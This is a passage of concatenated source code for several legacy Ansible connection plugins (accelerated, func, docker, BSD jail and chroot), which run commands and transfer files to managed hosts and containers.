    become_methods = frozenset(C.BECOME_METHODS).difference(['runas'])

    def __init__(self, *args, **kwargs):

        super(Connection, self).__init__(*args, **kwargs)

        self.conn = None
        self.key = key_for_hostname(self._play_context.remote_addr)

    def _connect(self):
        ''' activates the connection object '''

        if not self._connected:
            wrong_user = False
            tries = 3
            self.conn = socket.socket()
            self.conn.settimeout(C.ACCELERATE_CONNECT_TIMEOUT)
            display.vvvv("attempting connection to %s via the accelerated port %d" % (self._play_context.remote_addr, self._play_context.accelerate_port), host=self._play_context.remote_addr)
            while tries > 0:
                try:
                    self.conn.connect((self._play_context.remote_addr,self._play_context.accelerate_port))
                    break
                except socket.error:
                    display.vvvv("connection to %s failed, retrying..." % self._play_context.remote_addr, host=self._play_context.remote_addr)
                    time.sleep(0.1)
                    tries -= 1
            if tries == 0:
                display.vvv("Could not connect via the accelerated connection, exceeded # of tries", host=self._play_context.remote_addr)
                raise AnsibleConnectionFailure("Failed to connect to %s on the accelerated port %s" % (self._play_context.remote_addr, self._play_context.accelerate_port))
            elif wrong_user:
                display.vvv("Restarting daemon with a different remote_user", host=self._play_context.remote_addr)
                raise AnsibleError("The accelerated daemon was started on the remote with a different user")

            self.conn.settimeout(C.ACCELERATE_TIMEOUT)
            if not self.validate_user():
                # the accelerated daemon was started with a
                # different remote_user. The above command
                # should have caused the accelerate daemon to
                # shutdown, so we'll reconnect.
                wrong_user = True

        self._connected = True
        return self

    def send_data(self, data):
        packed_len = struct.pack('!Q',len(data))
        return self.conn.sendall(packed_len + data)

    def recv_data(self):
        header_len = 8 # size of a packed unsigned long long
        data = b""
        try:
            display.vvvv("in recv_data(), waiting for the header", host=self._play_context.remote_addr)
            while len(data) < header_len:
                d = self.conn.recv(header_len - len(data))
                if not d:
                    display.vvvv("received nothing, bailing out", host=self._play_context.remote_addr)
                    return None
                data += d
            display.vvvv("got the header, unpacking", host=self._play_context.remote_addr)
            data_len = struct.unpack('!Q',data[:header_len])[0]
            data = data[header_len:]
            display.vvvv("data received so far (expecting %d): %d" % (data_len, len(data)), host=self._play_context.remote_addr)
            while len(data) < data_len:
                d = self.conn.recv(data_len - len(data))
                if not d:
                    display.vvvv("received nothing, bailing out", host=self._play_context.remote_addr)
                    return None
                display.vvvv("received %d bytes" % (len(d)), host=self._play_context.remote_addr)
                data += d
            display.vvvv("received all of the data, returning", host=self._play_context.remote_addr)
            return data
        except socket.timeout:
            raise AnsibleError("timed out while waiting to receive data")

    def validate_user(self):
        '''
        Checks the remote uid of the accelerated daemon vs. the
        one specified for this play and will cause the accel
        daemon to exit if they don't match
        '''

        display.vvvv("sending request for validate_user", host=self._play_context.remote_addr)
        data = dict(
            mode='validate_user',
            username=self._play_context.remote_user,
        )
        data = jsonify(data)
        data = keyczar_encrypt(self.key, data)
        if self.send_data(data):
            raise AnsibleError("Failed to send command to %s" % self._play_context.remote_addr)

        display.vvvv("waiting for validate_user response", host=self._play_context.remote_addr)
        while True:
            # we loop here while waiting for the response, because a
            # long running command may cause us to receive keepalive packets
            # ({"pong":"true"}) rather than the response we want.
            response = self.recv_data()
            if not response:
                raise AnsibleError("Failed to get a response from %s" % self._play_context.remote_addr)
            response = keyczar_decrypt(self.key, response)
            response = json.loads(response)
            if "pong" in response:
                # it's a keepalive, go back to waiting
                display.vvvv("received a keepalive packet", host=self._play_context.remote_addr)
                continue
            else:
                display.vvvv("received the validate_user response: %s" % (response), host=self._play_context.remote_addr)
                break

        if response.get('failed'):
            return False
        else:
            return response.get('rc') == 0

    def exec_command(self, cmd, in_data=None, sudoable=True):

        ''' run a command on the remote host '''

        super(Connection, self).exec_command(cmd, in_data=in_data, sudoable=sudoable)

        if in_data:
            raise AnsibleError("Internal Error: this module does not support optimized module pipelining")

        display.vvv("EXEC COMMAND %s" % cmd, host=self._play_context.remote_addr)

        data = dict(
            mode='command',
            cmd=cmd,
            executable=C.DEFAULT_EXECUTABLE,
        )
        data = jsonify(data)
        data = keyczar_encrypt(self.key, data)
        if self.send_data(data):
            raise AnsibleError("Failed to send command to %s" % self._play_context.remote_addr)

        while True:
            # we loop here while waiting for the response, because a
            # long running command may cause us to receive keepalive packets
            # ({"pong":"true"}) rather than the response we want.
            response = self.recv_data()
            if not response:
                raise AnsibleError("Failed to get a response from %s" % self._play_context.remote_addr)
            response = keyczar_decrypt(self.key, response)
            response = json.loads(response)
            if "pong" in response:
                # it's a keepalive, go back to waiting
                display.vvvv("received a keepalive packet", host=self._play_context.remote_addr)
                continue
            else:
                display.vvvv("received the response", host=self._play_context.remote_addr)
                break

        return (response.get('rc', None), response.get('stdout', ''), response.get('stderr', ''))

    def put_file(self, in_path, out_path):

        ''' transfer a file from local to remote '''
        display.vvv("PUT %s TO %s" % (in_path, out_path), host=self._play_context.remote_addr)

        in_path = to_bytes(in_path, errors='strict')

        if not os.path.exists(in_path):
            raise AnsibleFileNotFound("file or module does not exist: %s" % in_path)

        fd = file(in_path, 'rb')
        fstat = os.stat(in_path)
        try:
            display.vvv("PUT file is %d bytes" % fstat.st_size, host=self._play_context.remote_addr)
            last = False
            while fd.tell() <= fstat.st_size and not last:
                display.vvvv("file position currently %ld, file size is %ld" % (fd.tell(), fstat.st_size), host=self._play_context.remote_addr)
                data = fd.read(CHUNK_SIZE)
                if fd.tell() >= fstat.st_size:
                    last = True
                data = dict(mode='put', data=base64.b64encode(data), out_path=out_path, last=last)
                if self._play_context.become:
                    data['user'] = self._play_context.become_user
                data = jsonify(data)
                data = keyczar_encrypt(self.key, data)

                if self.send_data(data):
                    raise AnsibleError("failed to send the file to %s" % self._play_context.remote_addr)

                response = self.recv_data()
                if not response:
                    raise AnsibleError("Failed to get a response from %s" % self._play_context.remote_addr)
                response = keyczar_decrypt(self.key, response)
                response = json.loads(response)

                if response.get('failed',False):
                    raise AnsibleError("failed to put the file in the requested location")
        finally:
            fd.close()
            display.vvvv("waiting for final response after PUT", host=self._play_context.remote_addr)
            response = self.recv_data()
            if not response:
                raise AnsibleError("Failed to get a response from %s" % self._play_context.remote_addr)
            response = keyczar_decrypt(self.key, response)
            response = json.loads(response)

            if response.get('failed',False):
                raise AnsibleError("failed to put the file in the requested location")

    def fetch_file(self, in_path, out_path):
        ''' save a remote file to the specified path '''
        display.vvv("FETCH %s TO %s" % (in_path, out_path), host=self._play_context.remote_addr)

        data = dict(mode='fetch', in_path=in_path)
        data = jsonify(data)
        data = keyczar_encrypt(self.key, data)
        if self.send_data(data):
            raise AnsibleError("failed to initiate the file fetch with %s" % self._play_context.remote_addr)

        fh = open(to_bytes(out_path, errors='strict'), "w")
        try:
            bytes = 0
            while True:
                response = self.recv_data()
                if not response:
                    raise AnsibleError("Failed to get a response from %s" % self._play_context.remote_addr)
                response = keyczar_decrypt(self.key, response)
                response = json.loads(response)
                if response.get('failed', False):
                    raise AnsibleError("Error during file fetch, aborting")
                out = base64.b64decode(response['data'])
                fh.write(out)
                bytes += len(out)
                # send an empty response back to signify we
                # received the last chunk without errors
                data = jsonify(dict())
                data = keyczar_encrypt(self.key, data)
                if self.send_data(data):
                    raise AnsibleError("failed to send ack during file fetch")
                if response.get('last', False):
                    break
        finally:
            # we don't currently care about this final response,
            # we just receive it and drop it. It may be used at some
            # point in the future or we may just have the put/fetch
            # operations not send back a final response at all
            response = self.recv_data()
            display.vvv("FETCH wrote %d bytes to %s" % (bytes, out_path), host=self._play_context.remote_addr)
            fh.close()

    def close(self):
        ''' terminate the connection '''
        # Be a good citizen
        try:
            self.conn.close()
        except:
            pass






# Based on local.py (c) 2012, Michael DeHaan <michael.dehaan@gmail.com>
# Based on chroot.py (c) 2013, Maykel Moya <mmoya@speedyrails.com>
# (c) 2013, Michael Scherer <misc@zarb.org>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# ---
# The func transport permit to use ansible over func. For people who have already setup
# func and that wish to play with ansible, this permit to move gradually to ansible
# without having to redo completely the setup of the network.
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

HAVE_FUNC = False
try:
    import func.overlord.client as fc
    HAVE_FUNC = True
except ImportError:
    pass

import os
import tempfile
import shutil

from ansible.errors import AnsibleError

try:
    from __main__ import display
except ImportError:
    from ansible.utils.display import Display
    display = Display()

class Connection(object):
    ''' Func-based connections '''

    def __init__(self, runner, host, port, *args, **kwargs):
        self.runner = runner
        self.host = host
        self.has_pipelining = False
        # port is unused, this go on func
        self.port = port

    def connect(self, port=None):
        if not HAVE_FUNC:
            raise AnsibleError("func is not installed")

        self.client = fc.Client(self.host)
        return self

    def exec_command(self, cmd, become_user=None, sudoable=False,
                     executable='/bin/sh', in_data=None):
        ''' run a command on the remote minion '''

        if in_data:
            raise AnsibleError("Internal Error: this module does not support optimized module pipelining")

        # totally ignores privlege escalation
        display.vvv("EXEC %s" % (cmd), host=self.host)
        p = self.client.command.run(cmd)[self.host]
        return (p[0], p[1], p[2])

    def _normalize_path(self, path, prefix):
        if not path.startswith(os.path.sep):
            path = os.path.join(os.path.sep, path)
        normpath = os.path.normpath(path)
        return os.path.join(prefix, normpath[1:])

    def put_file(self, in_path, out_path):
        ''' transfer a file from local to remote '''

        out_path = self._normalize_path(out_path, '/')
        display.vvv("PUT %s TO %s" % (in_path, out_path), host=self.host)
        self.client.local.copyfile.send(in_path, out_path)

    def fetch_file(self, in_path, out_path):
        ''' fetch a file from remote to local '''

        in_path = self._normalize_path(in_path, '/')
        display.vvv("FETCH %s TO %s" % (in_path, out_path), host=self.host)
        # need to use a tmp dir due to difference of semantic for getfile
        # ( who take a # directory as destination) and fetch_file, who
        # take a file directly
        tmpdir = tempfile.mkdtemp(prefix="func_ansible")
        self.client.local.getfile.get(in_path, tmpdir)
        shutil.move(os.path.join(tmpdir, self.host, os.path.basename(in_path)),
                    out_path)
        shutil.rmtree(tmpdir)

    def close(self):
        ''' terminate the connection; nothing to do here '''
        pass






# Based on the chroot connection plugin by Maykel Moya
#
# Connection plugin for configuring docker containers
# (c) 2014, Lorin Hochstein
# (c) 2015, Leendert Brouwer
# (c) 2015, Toshio Kuratomi <tkuratomi@ansible.com>
#
# Maintainer: Leendert Brouwer (https://github.com/objectified)
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import distutils.spawn
import os
import os.path
import pipes
import subprocess
import re

from distutils.version import LooseVersion

import ansible.constants as C
from ansible.errors import AnsibleError, AnsibleFileNotFound
from ansible.plugins.connection import ConnectionBase, BUFSIZE
from ansible.utils.unicode import to_bytes

try:
    from __main__ import display
except ImportError:
    from ansible.utils.display import Display
    display = Display()


class Connection(ConnectionBase):
    ''' Local docker based connections '''

    transport = 'docker'
    has_pipelining = True
    # su currently has an undiagnosed issue with calculating the file
    # checksums (so copy, for instance, doesn't work right)
    # Have to look into that before re-enabling this
    become_methods = frozenset(C.BECOME_METHODS).difference(('su',))

    def __init__(self, play_context, new_stdin, *args, **kwargs):
        super(Connection, self).__init__(play_context, new_stdin, *args, **kwargs)

        # Note: docker supports running as non-root in some configurations.
        # (For instance, setting the UNIX socket file to be readable and
        # writable by a specific UNIX group and then putting users into that
        # group).  Therefore we don't check that the user is root when using
        # this connection.  But if the user is getting a permission denied
        # error it probably means that docker on their system is only
        # configured to be connected to by root and they are not running as
        # root.

        if 'docker_command' in kwargs:
            self.docker_cmd = kwargs['docker_command']
        else:
            self.docker_cmd = distutils.spawn.find_executable('docker')
            if not self.docker_cmd:
                raise AnsibleError("docker command not found in PATH")

        docker_version = self._get_docker_version()
        if LooseVersion(docker_version) < LooseVersion('1.3'):
            raise AnsibleError('docker connection type requires docker 1.3 or higher')

        # The remote user we will request from docker (if supported)
        self.remote_user = None
        # The actual user which will execute commands in docker (if known)
        self.actual_user = None

        if self._play_context.remote_user is not None:
            if LooseVersion(docker_version) >= LooseVersion('1.7'):
                # Support for specifying the exec user was added in docker 1.7
                self.remote_user = self._play_context.remote_user
                self.actual_user = self.remote_user
            else:
                self.actual_user = self._get_docker_remote_user()

                if self.actual_user != self._play_context.remote_user:
                    display.warning('docker {0} does not support remote_user, using container default: {1}'
                                    .format(docker_version, self.actual_user or '?'))
        elif self._display.verbosity > 2:
            # Since we're not setting the actual_user, look it up so we have it for logging later
            # Only do this if display verbosity is high enough that we'll need the value
            # This saves overhead from calling into docker when we don't need to
            self.actual_user = self._get_docker_remote_user()

    @staticmethod
    def _sanitize_version(version):
        return re.sub('[^0-9a-zA-Z\.]', '', version)

    def _old_docker_version(self):
        cmd_args = []
        if self._play_context.docker_extra_args:
            cmd_args += self._play_context.docker_extra_args.split(' ')

        old_version_subcommand = ['version']

        old_docker_cmd = [self.docker_cmd] + cmd_args + old_version_subcommand
        p = subprocess.Popen(old_docker_cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        cmd_output, err = p.communicate()

        return old_docker_cmd, cmd_output, err, p.returncode

    def _new_docker_version(self):
        # no result yet, must be newer Docker version
        cmd_args = []
        if self._play_context.docker_extra_args:
            cmd_args += self._play_context.docker_extra_args.split(' ')

        new_version_subcommand = ['version', '--format', "'{{.Server.Version}}'"]

        new_docker_cmd = [self.docker_cmd] + cmd_args + new_version_subcommand
        p = subprocess.Popen(new_docker_cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        cmd_output, err = p.communicate()
        return new_docker_cmd, cmd_output, err, p.returncode

    def _get_docker_version(self):

        cmd, cmd_output, err, returncode = self._old_docker_version()
        if returncode == 0:
            for line in cmd_output.split('\n'):
                if line.startswith('Server version:'):  # old docker versions
                    return self._sanitize_version(line.split()[2])

        cmd, cmd_output, err, returncode = self._new_docker_version()
        if returncode:
            raise AnsibleError('Docker version check (%s) failed: %s' % (cmd, err))

        return self._sanitize_version(cmd_output)

    def _get_docker_remote_user(self):
        """ Get the default user configured in the docker container """
        p = subprocess.Popen([self.docker_cmd, 'inspect', '--format', '{{.Config.User}}', self._play_context.remote_addr],
                             stdout=subprocess.PIPE, stderr=subprocess.PIPE)

        out, err = p.communicate()

        if p.returncode != 0:
            display.warning('unable to retrieve default user from docker container: %s' % out + err)
            return None

        # The default exec user is root, unless it was changed in the Dockerfile with USER
        return out.strip() or 'root'

    def _build_exec_cmd(self, cmd):
        """ Build the local docker exec command to run cmd on remote_host

            If remote_user is available and is supported by the docker
            version we are using, it will be provided to docker exec.
        """

        local_cmd = [self.docker_cmd]

        if self._play_context.docker_extra_args:
            local_cmd += self._play_context.docker_extra_args.split(' ')

        local_cmd += ['exec']

        if self.remote_user is not None:
            local_cmd += ['-u', self.remote_user]

        # -i is needed to keep stdin open which allows pipelining to work
        local_cmd += ['-i', self._play_context.remote_addr] + cmd

        return local_cmd

    def _connect(self, port=None):
        """ Connect to the container. Nothing to do """
        super(Connection, self)._connect()
        if not self._connected:
            display.vvv(u"ESTABLISH DOCKER CONNECTION FOR USER: {0}".format(
                self.actual_user or '?'), host=self._play_context.remote_addr
            )
            self._connected = True

    def exec_command(self, cmd, in_data=None, sudoable=False):
        """ Run a command on the docker host """
        super(Connection, self).exec_command(cmd, in_data=in_data, sudoable=sudoable)

        local_cmd = self._build_exec_cmd([self._play_context.executable, '-c', cmd])

        display.vvv("EXEC %s" % (local_cmd,), host=self._play_context.remote_addr)
        local_cmd = [to_bytes(i, errors='strict') for i in local_cmd]
        p = subprocess.Popen(local_cmd, shell=False, stdin=subprocess.PIPE,
                             stdout=subprocess.PIPE, stderr=subprocess.PIPE)

        stdout, stderr = p.communicate(in_data)
        return (p.returncode, stdout, stderr)

    def _prefix_login_path(self, remote_path):
        ''' Make sure that we put files into a standard path

            If a path is relative, then we need to choose where to put it.
            ssh chooses $HOME but we aren't guaranteed that a home dir will
            exist in any given chroot.  So for now we're choosing "/" instead.
            This also happens to be the former default.

            Can revisit using $HOME instead if it's a problem
        '''
        if not remote_path.startswith(os.path.sep):
            remote_path = os.path.join(os.path.sep, remote_path)
        return os.path.normpath(remote_path)

    def put_file(self, in_path, out_path):
        """ Transfer a file from local to docker container """
        super(Connection, self).put_file(in_path, out_path)
        display.vvv("PUT %s TO %s" % (in_path, out_path), host=self._play_context.remote_addr)

        out_path = self._prefix_login_path(out_path)
        if not os.path.exists(to_bytes(in_path, errors='strict')):
            raise AnsibleFileNotFound(
                "file or module does not exist: %s" % in_path)

        out_path = pipes.quote(out_path)
        # Older docker doesn't have native support for copying files into
        # running containers, so we use docker exec to implement this
        # Although docker version 1.8 and later provide support, the
        # owner and group of the files are always set to root
        args = self._build_exec_cmd([self._play_context.executable, "-c", "dd of=%s bs=%s" % (out_path, BUFSIZE)])
        args = [to_bytes(i, errors='strict') for i in args]
        with open(to_bytes(in_path, errors='strict'), 'rb') as in_file:
            try:
                p = subprocess.Popen(args, stdin=in_file,
                        stdout=subprocess.PIPE, stderr=subprocess.PIPE)
            except OSError:
                raise AnsibleError("docker connection requires dd command in the container to put files")
            stdout, stderr = p.communicate()

            if p.returncode != 0:
                raise AnsibleError("failed to transfer file %s to %s:\n%s\n%s" % (in_path, out_path, stdout, stderr))

    def fetch_file(self, in_path, out_path):
        """ Fetch a file from container to local. """
        super(Connection, self).fetch_file(in_path, out_path)
        display.vvv("FETCH %s TO %s" % (in_path, out_path), host=self._play_context.remote_addr)

        in_path = self._prefix_login_path(in_path)
        # out_path is the final file path, but docker takes a directory, not a
        # file path
        out_dir = os.path.dirname(out_path)

        args = [self.docker_cmd, "cp", "%s:%s" % (self._play_context.remote_addr, in_path), out_dir]
        args = [to_bytes(i, errors='strict') for i in args]

        p = subprocess.Popen(args, stdin=subprocess.PIPE,
                stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        p.communicate()

        # Rename if needed
        actual_out_path = os.path.join(out_dir, os.path.basename(in_path))
        if actual_out_path != out_path:
            os.rename(to_bytes(actual_out_path, errors='strict'), to_bytes(out_path, errors='strict'))

    def close(self):
        """ Terminate the connection. Nothing to do for Docker"""
        super(Connection, self).close()
        self._connected = False






# Based on local.py (c) 2012, Michael DeHaan <michael.dehaan@gmail.com>
# and chroot.py     (c) 2013, Maykel Moya <mmoya@speedyrails.com>
# (c) 2013, Michael Scherer <misc@zarb.org>
# (c) 2015, Toshio Kuratomi <tkuratomi@ansible.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import distutils.spawn
import os
import os.path
import pipes
import subprocess
import traceback

from ansible import constants as C
from ansible.errors import AnsibleError
from ansible.plugins.connection import ConnectionBase, BUFSIZE
from ansible.utils.unicode import to_bytes

try:
    from __main__ import display
except ImportError:
    from ansible.utils.display import Display
    display = Display()


class Connection(ConnectionBase):
    ''' Local BSD Jail based connections '''

    transport = 'jail'
    # Pipelining may work.  Someone needs to test by setting this to True and
    # having pipelining=True in their ansible.cfg
    has_pipelining = True
    # Some become_methods may work in v2 (sudo works for other chroot-based
    # plugins while su seems to be failing).  If some work, check chroot.py to
    # see how to disable just some methods.
    become_methods = frozenset()

    def __init__(self, play_context, new_stdin, *args, **kwargs):
        super(Connection, self).__init__(play_context, new_stdin, *args, **kwargs)

        self.jail = self._play_context.remote_addr

        if os.geteuid() != 0:
            raise AnsibleError("jail connection requires running as root")

        self.jls_cmd = self._search_executable('jls')
        self.jexec_cmd = self._search_executable('jexec')

        if self.jail not in self.list_jails():
            raise AnsibleError("incorrect jail name %s" % self.jail)

    @staticmethod
    def _search_executable(executable):
        cmd = distutils.spawn.find_executable(executable)
        if not cmd:
            raise AnsibleError("%s command not found in PATH" % executable)
        return cmd

    def list_jails(self):
        p = subprocess.Popen([self.jls_cmd, '-q', 'name'],
                             stdin=subprocess.PIPE,
                             stdout=subprocess.PIPE, stderr=subprocess.PIPE)

        stdout, stderr = p.communicate()

        return stdout.split()

    def get_jail_path(self):
        p = subprocess.Popen([self.jls_cmd, '-j', to_bytes(self.jail), '-q', 'path'],
                             stdin=subprocess.PIPE,
                             stdout=subprocess.PIPE, stderr=subprocess.PIPE)

        stdout, stderr = p.communicate()
        # remove \n
        return stdout[:-1]

    def _connect(self):
        ''' connect to the jail; nothing to do here '''
        super(Connection, self)._connect()
        if not self._connected:
            display.vvv(u"ESTABLISH JAIL CONNECTION FOR USER: {0}".format(self._play_context.remote_user), host=self.jail)
            self._connected = True

    def _buffered_exec_command(self, cmd, stdin=subprocess.PIPE):
        ''' run a command on the jail.  This is only needed for implementing
        put_file() get_file() so that we don't have to read the whole file
        into memory.

        compared to exec_command() it looses some niceties like being able to
        return the process's exit code immediately.
        '''

        local_cmd = [self.jexec_cmd]
        set_env = ''

        if self._play_context.remote_user is not None:
            local_cmd += ['-U', self._play_context.remote_user]
            # update HOME since -U does not update the jail environment
            set_env = 'HOME=~' + self._play_context.remote_user + ' '

        local_cmd += [self.jail, self._play_context.executable, '-c', set_env + cmd]

        display.vvv("EXEC %s" % (local_cmd,), host=self.jail)
        local_cmd = [to_bytes(i, errors='strict') for i in local_cmd]
        p = subprocess.Popen(local_cmd, shell=False, stdin=stdin,
                stdout=subprocess.PIPE, stderr=subprocess.PIPE)

        return p

    def exec_command(self, cmd, in_data=None, sudoable=False):
        ''' run a command on the jail '''
        super(Connection, self).exec_command(cmd, in_data=in_data, sudoable=sudoable)

        p = self._buffered_exec_command(cmd)

        stdout, stderr = p.communicate(in_data)
        return (p.returncode, stdout, stderr)

    def _prefix_login_path(self, remote_path):
        ''' Make sure that we put files into a standard path

            If a path is relative, then we need to choose where to put it.
            ssh chooses $HOME but we aren't guaranteed that a home dir will
            exist in any given chroot.  So for now we're choosing "/" instead.
            This also happens to be the former default.

            Can revisit using $HOME instead if it's a problem
        '''
        if not remote_path.startswith(os.path.sep):
            remote_path = os.path.join(os.path.sep, remote_path)
        return os.path.normpath(remote_path)

    def put_file(self, in_path, out_path):
        ''' transfer a file from local to jail '''
        super(Connection, self).put_file(in_path, out_path)
        display.vvv("PUT %s TO %s" % (in_path, out_path), host=self.jail)

        out_path = pipes.quote(self._prefix_login_path(out_path))
        try:
            with open(to_bytes(in_path, errors='strict'), 'rb') as in_file:
                try:
                    p = self._buffered_exec_command('dd of=%s bs=%s' % (out_path, BUFSIZE), stdin=in_file)
                except OSError:
                    raise AnsibleError("jail connection requires dd command in the jail")
                try:
                    stdout, stderr = p.communicate()
                except:
                    traceback.print_exc()
                    raise AnsibleError("failed to transfer file %s to %s" % (in_path, out_path))
                if p.returncode != 0:
                    raise AnsibleError("failed to transfer file %s to %s:\n%s\n%s" % (in_path, out_path, stdout, stderr))
        except IOError:
            raise AnsibleError("file or module does not exist at: %s" % in_path)

    def fetch_file(self, in_path, out_path):
        ''' fetch a file from jail to local '''
        super(Connection, self).fetch_file(in_path, out_path)
        display.vvv("FETCH %s TO %s" % (in_path, out_path), host=self.jail)

        in_path = pipes.quote(self._prefix_login_path(in_path))
        try:
            p = self._buffered_exec_command('dd if=%s bs=%s' % (in_path, BUFSIZE))
        except OSError:
            raise AnsibleError("jail connection requires dd command in the jail")

        with open(to_bytes(out_path, errors='strict'), 'wb+') as out_file:
            try:
                chunk = p.stdout.read(BUFSIZE)
                while chunk:
                    out_file.write(chunk)
                    chunk = p.stdout.read(BUFSIZE)
            except:
                traceback.print_exc()
                raise AnsibleError("failed to transfer file %s to %s" % (in_path, out_path))
            stdout, stderr = p.communicate()
            if p.returncode != 0:
                raise AnsibleError("failed to transfer file %s to %s:\n%s\n%s" % (in_path, out_path, stdout, stderr))

    def close(self):
        ''' terminate the connection; nothing to do here '''
        super(Connection, self).close()
        self._connected = False






# Based on local.py (c) 2012, Michael DeHaan <michael.dehaan@gmail.com>
# (c) 2013, Maykel Moya <mmoya@speedyrails.com>
# (c) 2015, Toshio Kuratomi <tkuratomi@ansible.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import distutils.spawn
import os
import os.path
import pipes
import subprocess
import traceback

from ansible import constants as C
from ansible.errors import AnsibleError
from ansible.plugins.connection import ConnectionBase, BUFSIZE
from ansible.module_utils.basic import is_executable
from ansible.utils.unicode import to_bytes

try:
    from __main__ import display
except ImportError:
    from ansible.utils.display import Display
    display = Display()


class Connection(ConnectionBase):
    ''' Local chroot based connections '''

    transport = 'chroot'
    has_pipelining = True
    # su currently has an undiagnosed issue with calculating the file
    # checksums (so copy, for instance, doesn't work right)
    # Have to look into that before re-enabling this
    become_methods = frozenset(C.BECOME_METHODS).difference(('su',))

    def __init__(self, play_context, new_stdin, *args, **kwargs):
        super(Connection, self).__init__(play_context, new_stdin, *args, **kwargs)

        self.chroot = self._play_context.remote_addr

        if os.geteuid() != 0:
            raise AnsibleError("chroot connection requires running as root")

        # we're running as root on the local system so do some
        # trivial checks for ensuring 'host' is actually a chroot'able dir
        if not os.path.isdir(self.chroot):
            raise AnsibleError("%s is not a directory" % self.chroot)

        chrootsh = os.path.join(self.chroot, 'bin/sh')
        # Want to check for a usable bourne shell inside the chroot.
        # is_executable() == True is sufficient.  For symlinks it
        # gets really complicated really fast.  So we punt on finding that
        # out.  As long as it's a symlink we assume that it will work
        if not (is_executable(chrootsh) or (os.path.lexists(chrootsh) and os.path.islink(chrootsh))):
            raise AnsibleError("%s does not look like a chrootable dir (/bin/sh missing)" % self.chroot)

        self.chroot_cmd = distutils.spawn.find_executable('chroot')
        if not self.chroot_cmd:
            raise AnsibleError("chroot command not found in PATH")

    def _connect(self):
        ''' connect to the chroot; nothing to do here '''
        super(Connection, self)._connect()
        if not self._connected:
            display.vvv("THIS IS A LOCAL CHROOT DIR", host=self.chroot)
            self._connected = True

    def _buffered_exec_command(self, cmd, stdin=subprocess.PIPE):
        ''' run a command on the chroot.  This is only needed for implementing
        put_file() get_file() so that we don't have to read the whole file
        into memory.

        compared to exec_command() it looses some niceties like being able to
        return the process's exit code immediately.
        '''
        executable = C.DEFAULT_EXECUTABLE.split()[0] if C.DEFAULT_EXECUTABLE else '/bin/sh'
        local_cmd = [self.chroot_cmd, self.chroot, executable, '-c', cmd]

        display.vvv("EXEC %s" % (local_cmd), host=self.chroot)
        local_cmd = [to_bytes(i, errors='strict') for i in local_cmd]
        p = subprocess.Popen(local_cmd, shell=False, stdin=stdin,
                stdout=subprocess.PIPE, stderr=subprocess.PIPE)

        return p

    def exec_command(self, cmd, in_data=None, sudoable=False):
        ''' run a command on the chroot '''
        super(Connection, self).exec_command(cmd, in_data=in_data, sudoable=sudoable)

        p = self._buffered_exec_command(cmd)

        stdout, stderr = p.communicate(in_data)
        return (p.returncode, stdout, stderr)

    def _prefix_login_path(self, remote_path):
        ''' Make sure that we put files into a standard path

            If a path is relative, then we need to choose where to put it.
            ssh chooses $HOME but we aren't guaranteed that a home dir will
            exist in any given chroot.  So for now we're choosing "/" instead.
            This also happens to be the former default.

            Can revisit using $HOME instead if it's a problem
        '''
        if not remote_path.startswith(os.path.sep):
            remote_path = os.path.join(os.path.sep, remote_path)
        return os.path.normpath(remote_path)

    def put_file(self, in_path, out_path):
        ''' transfer a file from local to chroot '''
        super(Connection, self).put_file(in_path, out_path)
        display.vvv("PUT %s TO %s" % (in_path, out_path), host=self.chroot)

        out_path = pipes.quote(self._prefix_login_path(out_path))
        try:
            with open(to_bytes(in_path, errors='strict'), 'rb') as in_file:
                try:
                    p = self._buffered_exec_command('dd of=%s bs=%s' % (out_path, BUFSIZE), stdin=in_file)
                except OSError:
                    raise AnsibleError("chroot connection requires dd command in the chroot")
                try:
                    stdout, stderr = p.communicate()
                except:
                    traceback.print_exc()
                    raise AnsibleError("failed to transfer file %s to %s" % (in_path, out_path))
                if p.returncode != 0:
                    raise AnsibleError("failed to transfer file %s to %s:\n%s\n%s" % (in_path, out_path, stdout, stderr))
        except IOError:
            raise AnsibleError("file or module does not exist at: %s" % in_path)

    def fetch_file(self, in_path, out_path):
        ''' fetch a file from chroot to local '''
        super(Connection, self).fetch_file(in_path, out_path)
        display.vvv("FETCH %s TO %s" % (in_path, out_path), host=self.chroot)

        in_path = pipes.quote(self._prefix_login_path(in_path))
        try:
            p = self._buffered_exec_command('dd if=%s bs=%s' % (in_path, BUFSIZE))
        except OSError:
